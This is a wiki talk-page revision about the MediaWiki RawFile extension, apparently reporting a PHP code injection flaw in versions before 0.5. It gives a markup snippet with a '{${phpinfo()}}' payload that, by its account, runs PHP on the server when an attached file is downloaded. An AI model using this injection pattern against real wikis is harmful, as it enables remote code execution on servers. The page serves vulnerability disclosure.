Talk:Mediawiki RawFile: Difference between revisions

From YobiWiki
Jump to navigation Jump to search
Content deleted Content added
mNo edit summary
<bdi>Fuujuhi</bdi> (talk | contribs)
No edit summary
 
Line 2: Line 2:
<br>Adding this code to a wikipage:
<br>Adding this code to a wikipage:
<pre>
<pre>
<nowiki>{${phpinfo()}}</nowiki>
<nowiki><nowiki>{${phpinfo()}}</nowiki></nowiki>
[{{#file: myscript.sh}} as myscript.sh]
[{{#file: myscript.sh}} as myscript.sh]
<source lang=bash>
<source lang=bash>

Latest revision as of 15:03, 13 February 2014

Testing PHP code injection on Rawfile < 0.5 :
Adding this code to a wikipage:

<nowiki>{${phpinfo()}}</nowiki>
[{{#file: myscript.sh}} as myscript.sh]
<source lang=bash>
#!/bin/bash

echo 'Hello world!'
exit 0
</source>

and trying to download myscript.sh will execute phpinfo() on the server.